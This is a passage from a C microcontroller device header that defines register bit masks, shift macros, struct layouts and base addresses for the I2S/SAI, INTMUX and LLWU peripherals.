#define I2S_TCR4_MF_MASK (0x10U)
#define I2S_TCR4_MF_SHIFT (4U)
#define I2S_TCR4_MF(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_MF_SHIFT)) & I2S_TCR4_MF_MASK)
#define I2S_TCR4_SYWD_MASK (0x1F00U)
#define I2S_TCR4_SYWD_SHIFT (8U)
#define I2S_TCR4_SYWD(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_SYWD_SHIFT)) & I2S_TCR4_SYWD_MASK)
#define I2S_TCR4_FRSZ_MASK (0xF0000U)
#define I2S_TCR4_FRSZ_SHIFT (16U)
#define I2S_TCR4_FRSZ(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_FRSZ_SHIFT)) & I2S_TCR4_FRSZ_MASK)
#define I2S_TCR4_FPACK_MASK (0x3000000U)
#define I2S_TCR4_FPACK_SHIFT (24U)
#define I2S_TCR4_FPACK(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_FPACK_SHIFT)) & I2S_TCR4_FPACK_MASK)
#define I2S_TCR4_FCONT_MASK (0x10000000U)
#define I2S_TCR4_FCONT_SHIFT (28U)
#define I2S_TCR4_FCONT(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_FCONT_SHIFT)) & I2S_TCR4_FCONT_MASK)
/*! @name TCR5 - SAI Transmit Configuration 5 Register */
#define I2S_TCR5_FBT_MASK (0x1F00U)
#define I2S_TCR5_FBT_SHIFT (8U)
#define I2S_TCR5_FBT(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR5_FBT_SHIFT)) & I2S_TCR5_FBT_MASK)
#define I2S_TCR5_W0W_MASK (0x1F0000U)
#define I2S_TCR5_W0W_SHIFT (16U)
#define I2S_TCR5_W0W(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR5_W0W_SHIFT)) & I2S_TCR5_W0W_MASK)
#define I2S_TCR5_WNW_MASK (0x1F000000U)
#define I2S_TCR5_WNW_SHIFT (24U)
#define I2S_TCR5_WNW(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR5_WNW_SHIFT)) & I2S_TCR5_WNW_MASK)
/*! @name TDR - SAI Transmit Data Register */
#define I2S_TDR_TDR_MASK (0xFFFFFFFFU)
#define I2S_TDR_TDR_SHIFT (0U)
#define I2S_TDR_TDR(x) (((uint32_t)(((uint32_t)(x)) << I2S_TDR_TDR_SHIFT)) & I2S_TDR_TDR_MASK)
/* The count of I2S_TDR */
#define I2S_TDR_COUNT (1U)
/*! @name TFR - SAI Transmit FIFO Register */
#define I2S_TFR_RFP_MASK (0x7U)
#define I2S_TFR_RFP_SHIFT (0U)
#define I2S_TFR_RFP(x) (((uint32_t)(((uint32_t)(x)) << I2S_TFR_RFP_SHIFT)) & I2S_TFR_RFP_MASK)
#define I2S_TFR_WFP_MASK (0x70000U)
#define I2S_TFR_WFP_SHIFT (16U)
#define I2S_TFR_WFP(x) (((uint32_t)(((uint32_t)(x)) << I2S_TFR_WFP_SHIFT)) & I2S_TFR_WFP_MASK)
/* The count of I2S_TFR */
#define I2S_TFR_COUNT (1U)
/*! @name TMR - SAI Transmit Mask Register */
#define I2S_TMR_TWM_MASK (0xFFFFU)
#define I2S_TMR_TWM_SHIFT (0U)
#define I2S_TMR_TWM(x) (((uint32_t)(((uint32_t)(x)) << I2S_TMR_TWM_SHIFT)) & I2S_TMR_TWM_MASK)
/*! @name RCSR - SAI Receive Control Register */
#define I2S_RCSR_FRDE_MASK (0x1U)
#define I2S_RCSR_FRDE_SHIFT (0U)
#define I2S_RCSR_FRDE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FRDE_SHIFT)) & I2S_RCSR_FRDE_MASK)
#define I2S_RCSR_FWDE_MASK (0x2U)
#define I2S_RCSR_FWDE_SHIFT (1U)
#define I2S_RCSR_FWDE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FWDE_SHIFT)) & I2S_RCSR_FWDE_MASK)
#define I2S_RCSR_FRIE_MASK (0x100U)
#define I2S_RCSR_FRIE_SHIFT (8U)
#define I2S_RCSR_FRIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FRIE_SHIFT)) & I2S_RCSR_FRIE_MASK)
#define I2S_RCSR_FWIE_MASK (0x200U)
#define I2S_RCSR_FWIE_SHIFT (9U)
#define I2S_RCSR_FWIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FWIE_SHIFT)) & I2S_RCSR_FWIE_MASK)
#define I2S_RCSR_FEIE_MASK (0x400U)
#define I2S_RCSR_FEIE_SHIFT (10U)
#define I2S_RCSR_FEIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FEIE_SHIFT)) & I2S_RCSR_FEIE_MASK)
#define I2S_RCSR_SEIE_MASK (0x800U)
#define I2S_RCSR_SEIE_SHIFT (11U)
#define I2S_RCSR_SEIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_SEIE_SHIFT)) & I2S_RCSR_SEIE_MASK)
#define I2S_RCSR_WSIE_MASK (0x1000U)
#define I2S_RCSR_WSIE_SHIFT (12U)
#define I2S_RCSR_WSIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_WSIE_SHIFT)) & I2S_RCSR_WSIE_MASK)
#define I2S_RCSR_FRF_MASK (0x10000U)
#define I2S_RCSR_FRF_SHIFT (16U)
#define I2S_RCSR_FRF(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FRF_SHIFT)) & I2S_RCSR_FRF_MASK)
#define I2S_RCSR_FWF_MASK (0x20000U)
#define I2S_RCSR_FWF_SHIFT (17U)
#define I2S_RCSR_FWF(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FWF_SHIFT)) & I2S_RCSR_FWF_MASK)
#define I2S_RCSR_FEF_MASK (0x40000U)
#define I2S_RCSR_FEF_SHIFT (18U)
#define I2S_RCSR_FEF(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FEF_SHIFT)) & I2S_RCSR_FEF_MASK)
#define I2S_RCSR_SEF_MASK (0x80000U)
#define I2S_RCSR_SEF_SHIFT (19U)
#define I2S_RCSR_SEF(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_SEF_SHIFT)) & I2S_RCSR_SEF_MASK)
#define I2S_RCSR_WSF_MASK (0x100000U)
#define I2S_RCSR_WSF_SHIFT (20U)
#define I2S_RCSR_WSF(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_WSF_SHIFT)) & I2S_RCSR_WSF_MASK)
#define I2S_RCSR_SR_MASK (0x1000000U)
#define I2S_RCSR_SR_SHIFT (24U)
#define I2S_RCSR_SR(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_SR_SHIFT)) & I2S_RCSR_SR_MASK)
#define I2S_RCSR_FR_MASK (0x2000000U)
#define I2S_RCSR_FR_SHIFT (25U)
#define I2S_RCSR_FR(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_FR_SHIFT)) & I2S_RCSR_FR_MASK)
#define I2S_RCSR_BCE_MASK (0x10000000U)
#define I2S_RCSR_BCE_SHIFT (28U)
#define I2S_RCSR_BCE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_BCE_SHIFT)) & I2S_RCSR_BCE_MASK)
#define I2S_RCSR_DBGE_MASK (0x20000000U)
#define I2S_RCSR_DBGE_SHIFT (29U)
#define I2S_RCSR_DBGE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_DBGE_SHIFT)) & I2S_RCSR_DBGE_MASK)
#define I2S_RCSR_STOPE_MASK (0x40000000U)
#define I2S_RCSR_STOPE_SHIFT (30U)
#define I2S_RCSR_STOPE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_STOPE_SHIFT)) & I2S_RCSR_STOPE_MASK)
#define I2S_RCSR_RE_MASK (0x80000000U)
#define I2S_RCSR_RE_SHIFT (31U)
#define I2S_RCSR_RE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCSR_RE_SHIFT)) & I2S_RCSR_RE_MASK)
/*! @name RCR1 - SAI Receive Configuration 1 Register */
#define I2S_RCR1_RFW_MASK (0x3U)
#define I2S_RCR1_RFW_SHIFT (0U)
#define I2S_RCR1_RFW(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR1_RFW_SHIFT)) & I2S_RCR1_RFW_MASK)
/*! @name RCR2 - SAI Receive Configuration 2 Register */
#define I2S_RCR2_DIV_MASK (0xFFU)
#define I2S_RCR2_DIV_SHIFT (0U)
#define I2S_RCR2_DIV(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR2_DIV_SHIFT)) & I2S_RCR2_DIV_MASK)
#define I2S_RCR2_BCD_MASK (0x1000000U)
#define I2S_RCR2_BCD_SHIFT (24U)
#define I2S_RCR2_BCD(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR2_BCD_SHIFT)) & I2S_RCR2_BCD_MASK)
#define I2S_RCR2_BCP_MASK (0x2000000U)
#define I2S_RCR2_BCP_SHIFT (25U)
#define I2S_RCR2_BCP(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR2_BCP_SHIFT)) & I2S_RCR2_BCP_MASK)
#define I2S_RCR2_MSEL_MASK (0xC000000U)
#define I2S_RCR2_MSEL_SHIFT (26U)
#define I2S_RCR2_MSEL(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR2_MSEL_SHIFT)) & I2S_RCR2_MSEL_MASK)
#define I2S_RCR2_BCI_MASK (0x10000000U)
#define I2S_RCR2_BCI_SHIFT (28U)
#define I2S_RCR2_BCI(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR2_BCI_SHIFT)) & I2S_RCR2_BCI_MASK)
#define I2S_RCR2_BCS_MASK (0x20000000U)
#define I2S_RCR2_BCS_SHIFT (29U)
#define I2S_RCR2_BCS(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR2_BCS_SHIFT)) & I2S_RCR2_BCS_MASK)
#define I2S_RCR2_SYNC_MASK (0xC0000000U)
#define I2S_RCR2_SYNC_SHIFT (30U)
#define I2S_RCR2_SYNC(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR2_SYNC_SHIFT)) & I2S_RCR2_SYNC_MASK)
/*! @name RCR3 - SAI Receive Configuration 3 Register */
#define I2S_RCR3_WDFL_MASK (0xFU)
#define I2S_RCR3_WDFL_SHIFT (0U)
#define I2S_RCR3_WDFL(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR3_WDFL_SHIFT)) & I2S_RCR3_WDFL_MASK)
#define I2S_RCR3_RCE_MASK (0x10000U)
#define I2S_RCR3_RCE_SHIFT (16U)
#define I2S_RCR3_RCE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR3_RCE_SHIFT)) & I2S_RCR3_RCE_MASK)
/*! @name RCR4 - SAI Receive Configuration 4 Register */
#define I2S_RCR4_FSD_MASK (0x1U)
#define I2S_RCR4_FSD_SHIFT (0U)
#define I2S_RCR4_FSD(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_FSD_SHIFT)) & I2S_RCR4_FSD_MASK)
#define I2S_RCR4_FSP_MASK (0x2U)
#define I2S_RCR4_FSP_SHIFT (1U)
#define I2S_RCR4_FSP(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_FSP_SHIFT)) & I2S_RCR4_FSP_MASK)
#define I2S_RCR4_ONDEM_MASK (0x4U)
#define I2S_RCR4_ONDEM_SHIFT (2U)
#define I2S_RCR4_ONDEM(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_ONDEM_SHIFT)) & I2S_RCR4_ONDEM_MASK)
#define I2S_RCR4_FSE_MASK (0x8U)
#define I2S_RCR4_FSE_SHIFT (3U)
#define I2S_RCR4_FSE(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_FSE_SHIFT)) & I2S_RCR4_FSE_MASK)
#define I2S_RCR4_MF_MASK (0x10U)
#define I2S_RCR4_MF_SHIFT (4U)
#define I2S_RCR4_MF(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_MF_SHIFT)) & I2S_RCR4_MF_MASK)
#define I2S_RCR4_SYWD_MASK (0x1F00U)
#define I2S_RCR4_SYWD_SHIFT (8U)
#define I2S_RCR4_SYWD(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_SYWD_SHIFT)) & I2S_RCR4_SYWD_MASK)
#define I2S_RCR4_FRSZ_MASK (0xF0000U)
#define I2S_RCR4_FRSZ_SHIFT (16U)
#define I2S_RCR4_FRSZ(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_FRSZ_SHIFT)) & I2S_RCR4_FRSZ_MASK)
#define I2S_RCR4_FPACK_MASK (0x3000000U)
#define I2S_RCR4_FPACK_SHIFT (24U)
#define I2S_RCR4_FPACK(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_FPACK_SHIFT)) & I2S_RCR4_FPACK_MASK)
#define I2S_RCR4_FCONT_MASK (0x10000000U)
#define I2S_RCR4_FCONT_SHIFT (28U)
#define I2S_RCR4_FCONT(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR4_FCONT_SHIFT)) & I2S_RCR4_FCONT_MASK)
/*! @name RCR5 - SAI Receive Configuration 5 Register */
#define I2S_RCR5_FBT_MASK (0x1F00U)
#define I2S_RCR5_FBT_SHIFT (8U)
#define I2S_RCR5_FBT(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR5_FBT_SHIFT)) & I2S_RCR5_FBT_MASK)
#define I2S_RCR5_W0W_MASK (0x1F0000U)
#define I2S_RCR5_W0W_SHIFT (16U)
#define I2S_RCR5_W0W(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR5_W0W_SHIFT)) & I2S_RCR5_W0W_MASK)
#define I2S_RCR5_WNW_MASK (0x1F000000U)
#define I2S_RCR5_WNW_SHIFT (24U)
#define I2S_RCR5_WNW(x) (((uint32_t)(((uint32_t)(x)) << I2S_RCR5_WNW_SHIFT)) & I2S_RCR5_WNW_MASK)
/*! @name RDR - SAI Receive Data Register */
#define I2S_RDR_RDR_MASK (0xFFFFFFFFU)
#define I2S_RDR_RDR_SHIFT (0U)
#define I2S_RDR_RDR(x) (((uint32_t)(((uint32_t)(x)) << I2S_RDR_RDR_SHIFT)) & I2S_RDR_RDR_MASK)
/* The count of I2S_RDR */
#define I2S_RDR_COUNT (1U)
/*! @name RFR - SAI Receive FIFO Register */
#define I2S_RFR_RFP_MASK (0x7U)
#define I2S_RFR_RFP_SHIFT (0U)
#define I2S_RFR_RFP(x) (((uint32_t)(((uint32_t)(x)) << I2S_RFR_RFP_SHIFT)) & I2S_RFR_RFP_MASK)
#define I2S_RFR_WFP_MASK (0x70000U)
#define I2S_RFR_WFP_SHIFT (16U)
#define I2S_RFR_WFP(x) (((uint32_t)(((uint32_t)(x)) << I2S_RFR_WFP_SHIFT)) & I2S_RFR_WFP_MASK)
/* The count of I2S_RFR */
#define I2S_RFR_COUNT (1U)
/*! @name RMR - SAI Receive Mask Register */
#define I2S_RMR_RWM_MASK (0xFFFFU)
#define I2S_RMR_RWM_SHIFT (0U)
#define I2S_RMR_RWM(x) (((uint32_t)(((uint32_t)(x)) << I2S_RMR_RWM_SHIFT)) & I2S_RMR_RWM_MASK)
/*!
* @}
*/ /* end of group I2S_Register_Masks */
/* I2S - Peripheral instance base addresses */
/** Peripheral I2S0 base address */
#define I2S0_BASE (0x4004C000u)
/** Peripheral I2S0 base pointer */
#define I2S0 ((I2S_Type *)I2S0_BASE)
/** Array initializer of I2S peripheral base addresses */
#define I2S_BASE_ADDRS { I2S0_BASE }
/** Array initializer of I2S peripheral base pointers */
#define I2S_BASE_PTRS { I2S0 }
/** Interrupt vectors for the I2S peripheral type */
#define I2S_RX_IRQS { I2S0_IRQn }
#define I2S_TX_IRQS { I2S0_IRQn }
/*!
* @}
*/ /* end of group I2S_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- INTMUX Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup INTMUX_Peripheral_Access_Layer INTMUX Peripheral Access Layer
* @{
*/
/** INTMUX - Register Layout Typedef */
typedef struct {
struct { /* offset: 0x0, array step: 0x40 */
__IO uint32_t CHn_CSR; /**< Channel n Control Status Register, array offset: 0x0, array step: 0x40 */
__I uint32_t CHn_VEC; /**< Channel n Vector Number Register, array offset: 0x4, array step: 0x40 */
uint8_t RESERVED_0[8];
__IO uint32_t CHn_IER_31_0; /**< Channel n Interrupt Enable Register, array offset: 0x10, array step: 0x40 */
uint8_t RESERVED_1[12];
__I uint32_t CHn_IPR_31_0; /**< Channel n Interrupt Pending Register, array offset: 0x20, array step: 0x40 */
uint8_t RESERVED_2[28];
} CHANNEL[4];
} INTMUX_Type;
/* ----------------------------------------------------------------------------
-- INTMUX Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup INTMUX_Register_Masks INTMUX Register Masks
* @{
*/
/*! @name CHn_CSR - Channel n Control Status Register */
#define INTMUX_CHn_CSR_RST_MASK (0x1U)
#define INTMUX_CHn_CSR_RST_SHIFT (0U)
#define INTMUX_CHn_CSR_RST(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_CSR_RST_SHIFT)) & INTMUX_CHn_CSR_RST_MASK)
#define INTMUX_CHn_CSR_AND_MASK (0x2U)
#define INTMUX_CHn_CSR_AND_SHIFT (1U)
#define INTMUX_CHn_CSR_AND(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_CSR_AND_SHIFT)) & INTMUX_CHn_CSR_AND_MASK)
#define INTMUX_CHn_CSR_IRQN_MASK (0x30U)
#define INTMUX_CHn_CSR_IRQN_SHIFT (4U)
#define INTMUX_CHn_CSR_IRQN(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_CSR_IRQN_SHIFT)) & INTMUX_CHn_CSR_IRQN_MASK)
#define INTMUX_CHn_CSR_CHIN_MASK (0xF00U)
#define INTMUX_CHn_CSR_CHIN_SHIFT (8U)
#define INTMUX_CHn_CSR_CHIN(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_CSR_CHIN_SHIFT)) & INTMUX_CHn_CSR_CHIN_MASK)
#define INTMUX_CHn_CSR_IRQP_MASK (0x80000000U)
#define INTMUX_CHn_CSR_IRQP_SHIFT (31U)
#define INTMUX_CHn_CSR_IRQP(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_CSR_IRQP_SHIFT)) & INTMUX_CHn_CSR_IRQP_MASK)
/* The count of INTMUX_CHn_CSR */
#define INTMUX_CHn_CSR_COUNT (4U)
/*! @name CHn_VEC - Channel n Vector Number Register */
#define INTMUX_CHn_VEC_VECN_MASK (0x3FFCU)
#define INTMUX_CHn_VEC_VECN_SHIFT (2U)
#define INTMUX_CHn_VEC_VECN(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_VEC_VECN_SHIFT)) & INTMUX_CHn_VEC_VECN_MASK)
/* The count of INTMUX_CHn_VEC */
#define INTMUX_CHn_VEC_COUNT (4U)
/*! @name CHn_IER_31_0 - Channel n Interrupt Enable Register */
#define INTMUX_CHn_IER_31_0_INTE_MASK (0xFFFFFFFFU)
#define INTMUX_CHn_IER_31_0_INTE_SHIFT (0U)
#define INTMUX_CHn_IER_31_0_INTE(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_IER_31_0_INTE_SHIFT)) & INTMUX_CHn_IER_31_0_INTE_MASK)
/* The count of INTMUX_CHn_IER_31_0 */
#define INTMUX_CHn_IER_31_0_COUNT (4U)
/*! @name CHn_IPR_31_0 - Channel n Interrupt Pending Register */
#define INTMUX_CHn_IPR_31_0_INTP_MASK (0xFFFFFFFFU)
#define INTMUX_CHn_IPR_31_0_INTP_SHIFT (0U)
#define INTMUX_CHn_IPR_31_0_INTP(x) (((uint32_t)(((uint32_t)(x)) << INTMUX_CHn_IPR_31_0_INTP_SHIFT)) & INTMUX_CHn_IPR_31_0_INTP_MASK)
/* The count of INTMUX_CHn_IPR_31_0 */
#define INTMUX_CHn_IPR_31_0_COUNT (4U)
/*!
* @}
*/ /* end of group INTMUX_Register_Masks */
/* INTMUX - Peripheral instance base addresses */
/** Peripheral INTMUX0 base address */
#define INTMUX0_BASE (0x40024000u)
/** Peripheral INTMUX0 base pointer */
#define INTMUX0 ((INTMUX_Type *)INTMUX0_BASE)
/** Array initializer of INTMUX peripheral base addresses */
#define INTMUX_BASE_ADDRS { INTMUX0_BASE }
/** Array initializer of INTMUX peripheral base pointers */
#define INTMUX_BASE_PTRS { INTMUX0 }
/** Interrupt vectors for the INTMUX peripheral type */
#define INTMUX_IRQS { INTMUX0_0_IRQn, INTMUX0_1_IRQn, INTMUX0_2_IRQn, INTMUX0_3_IRQn }
/*!
* @}
*/ /* end of group INTMUX_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- LLWU Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup LLWU_Peripheral_Access_Layer LLWU Peripheral Access Layer
* @{
*/
/** LLWU - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
__IO uint32_t PE1; /**< LLWU Pin Enable 1 register, offset: 0x8 */
__IO uint32_t PE2; /**< LLWU Pin Enable 2 register, offset: 0xC */
uint8_t RESERVED_0[8];
__IO uint32_t ME; /**< LLWU Module Interrupt Enable register, offset: 0x18 */
__IO uint32_t DE; /**< LLWU Module DMA Enable register, offset: 0x1C */
__IO uint32_t PF; /**< LLWU Pin Flag register, offset: 0x20 */
uint8_t RESERVED_1[4];
__I uint32_t MF; /**< LLWU Module Interrupt Flag register, offset: 0x28 */
uint8_t RESERVED_2[4];
__IO uint32_t FILT; /**< LLWU Pin Filter register, offset: 0x30 */
} LLWU_Type;
/* ----------------------------------------------------------------------------
-- LLWU Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup LLWU_Register_Masks LLWU Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define LLWU_VERID_FEATURE_MASK (0xFFFFU)
#define LLWU_VERID_FEATURE_SHIFT (0U)
#define LLWU_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << LLWU_VERID_FEATURE_SHIFT)) & LLWU_VERID_FEATURE_MASK)
#define LLWU_VERID_MINOR_MASK (0xFF0000U)
#define LLWU_VERID_MINOR_SHIFT (16U)
#define LLWU_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << LLWU_VERID_MINOR_SHIFT)) & LLWU_VERID_MINOR_MASK)
#define LLWU_VERID_MAJOR_MASK (0xFF000000U)
#define LLWU_VERID_MAJOR_SHIFT (24U)
#define LLWU_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << LLWU_VERID_MAJOR_SHIFT)) & LLWU_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define LLWU_PARAM_FILTERS_MASK (0xFFU)
#define LLWU_PARAM_FILTERS_SHIFT (0U)
#define LLWU_PARAM_FILTERS(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PARAM_FILTERS_SHIFT)) & LLWU_PARAM_FILTERS_MASK)
#define LLWU_PARAM_DMAS_MASK (0xFF00U)
#define LLWU_PARAM_DMAS_SHIFT (8U)
#define LLWU_PARAM_DMAS(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PARAM_DMAS_SHIFT)) & LLWU_PARAM_DMAS_MASK)
#define LLWU_PARAM_MODULES_MASK (0xFF0000U)
#define LLWU_PARAM_MODULES_SHIFT (16U)
#define LLWU_PARAM_MODULES(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PARAM_MODULES_SHIFT)) & LLWU_PARAM_MODULES_MASK)
#define LLWU_PARAM_PINS_MASK (0xFF000000U)
#define LLWU_PARAM_PINS_SHIFT (24U)
#define LLWU_PARAM_PINS(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PARAM_PINS_SHIFT)) & LLWU_PARAM_PINS_MASK)
/*! @name PE1 - LLWU Pin Enable 1 register */
#define LLWU_PE1_WUPE0_MASK (0x3U)
#define LLWU_PE1_WUPE0_SHIFT (0U)
#define LLWU_PE1_WUPE0(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE0_SHIFT)) & LLWU_PE1_WUPE0_MASK)
#define LLWU_PE1_WUPE1_MASK (0xCU)
#define LLWU_PE1_WUPE1_SHIFT (2U)
#define LLWU_PE1_WUPE1(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE1_SHIFT)) & LLWU_PE1_WUPE1_MASK)
#define LLWU_PE1_WUPE2_MASK (0x30U)
#define LLWU_PE1_WUPE2_SHIFT (4U)
#define LLWU_PE1_WUPE2(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE2_SHIFT)) & LLWU_PE1_WUPE2_MASK)
#define LLWU_PE1_WUPE3_MASK (0xC0U)
#define LLWU_PE1_WUPE3_SHIFT (6U)
#define LLWU_PE1_WUPE3(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE3_SHIFT)) & LLWU_PE1_WUPE3_MASK)
#define LLWU_PE1_WUPE4_MASK (0x300U)
#define LLWU_PE1_WUPE4_SHIFT (8U)
#define LLWU_PE1_WUPE4(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE4_SHIFT)) & LLWU_PE1_WUPE4_MASK)
#define LLWU_PE1_WUPE5_MASK (0xC00U)
#define LLWU_PE1_WUPE5_SHIFT (10U)
#define LLWU_PE1_WUPE5(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE5_SHIFT)) & LLWU_PE1_WUPE5_MASK)
#define LLWU_PE1_WUPE6_MASK (0x3000U)
#define LLWU_PE1_WUPE6_SHIFT (12U)
#define LLWU_PE1_WUPE6(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE6_SHIFT)) & LLWU_PE1_WUPE6_MASK)
#define LLWU_PE1_WUPE7_MASK (0xC000U)
#define LLWU_PE1_WUPE7_SHIFT (14U)
#define LLWU_PE1_WUPE7(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE7_SHIFT)) & LLWU_PE1_WUPE7_MASK)
#define LLWU_PE1_WUPE8_MASK (0x30000U)
#define LLWU_PE1_WUPE8_SHIFT (16U)
#define LLWU_PE1_WUPE8(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE8_SHIFT)) & LLWU_PE1_WUPE8_MASK)
#define LLWU_PE1_WUPE9_MASK (0xC0000U)
#define LLWU_PE1_WUPE9_SHIFT (18U)
#define LLWU_PE1_WUPE9(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE9_SHIFT)) & LLWU_PE1_WUPE9_MASK)
#define LLWU_PE1_WUPE10_MASK (0x300000U)
#define LLWU_PE1_WUPE10_SHIFT (20U)
#define LLWU_PE1_WUPE10(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE10_SHIFT)) & LLWU_PE1_WUPE10_MASK)
#define LLWU_PE1_WUPE11_MASK (0xC00000U)
#define LLWU_PE1_WUPE11_SHIFT (22U)
#define LLWU_PE1_WUPE11(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE11_SHIFT)) & LLWU_PE1_WUPE11_MASK)
#define LLWU_PE1_WUPE12_MASK (0x3000000U)
#define LLWU_PE1_WUPE12_SHIFT (24U)
#define LLWU_PE1_WUPE12(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE12_SHIFT)) & LLWU_PE1_WUPE12_MASK)
#define LLWU_PE1_WUPE13_MASK (0xC000000U)
#define LLWU_PE1_WUPE13_SHIFT (26U)
#define LLWU_PE1_WUPE13(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE13_SHIFT)) & LLWU_PE1_WUPE13_MASK)
#define LLWU_PE1_WUPE14_MASK (0x30000000U)
#define LLWU_PE1_WUPE14_SHIFT (28U)
#define LLWU_PE1_WUPE14(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE14_SHIFT)) & LLWU_PE1_WUPE14_MASK)
#define LLWU_PE1_WUPE15_MASK (0xC0000000U)
#define LLWU_PE1_WUPE15_SHIFT (30U)
#define LLWU_PE1_WUPE15(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE1_WUPE15_SHIFT)) & LLWU_PE1_WUPE15_MASK)
/*! @name PE2 - LLWU Pin Enable 2 register */
#define LLWU_PE2_WUPE16_MASK (0x3U)
#define LLWU_PE2_WUPE16_SHIFT (0U)
#define LLWU_PE2_WUPE16(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE16_SHIFT)) & LLWU_PE2_WUPE16_MASK)
#define LLWU_PE2_WUPE17_MASK (0xCU)
#define LLWU_PE2_WUPE17_SHIFT (2U)
#define LLWU_PE2_WUPE17(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE17_SHIFT)) & LLWU_PE2_WUPE17_MASK)
#define LLWU_PE2_WUPE18_MASK (0x30U)
#define LLWU_PE2_WUPE18_SHIFT (4U)
#define LLWU_PE2_WUPE18(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE18_SHIFT)) & LLWU_PE2_WUPE18_MASK)
#define LLWU_PE2_WUPE19_MASK (0xC0U)
#define LLWU_PE2_WUPE19_SHIFT (6U)
#define LLWU_PE2_WUPE19(x) (((uint32_t)(((uint32_t)(x)) << LLWU_PE2_WUPE19_SHIFT)) & LLWU_PE2_WUPE19_MASK)
#define LLWU_PE2_WUPE20_MASK (0x300U)
#define LLWU_PE2_WUPE20_SHIFT (8U)
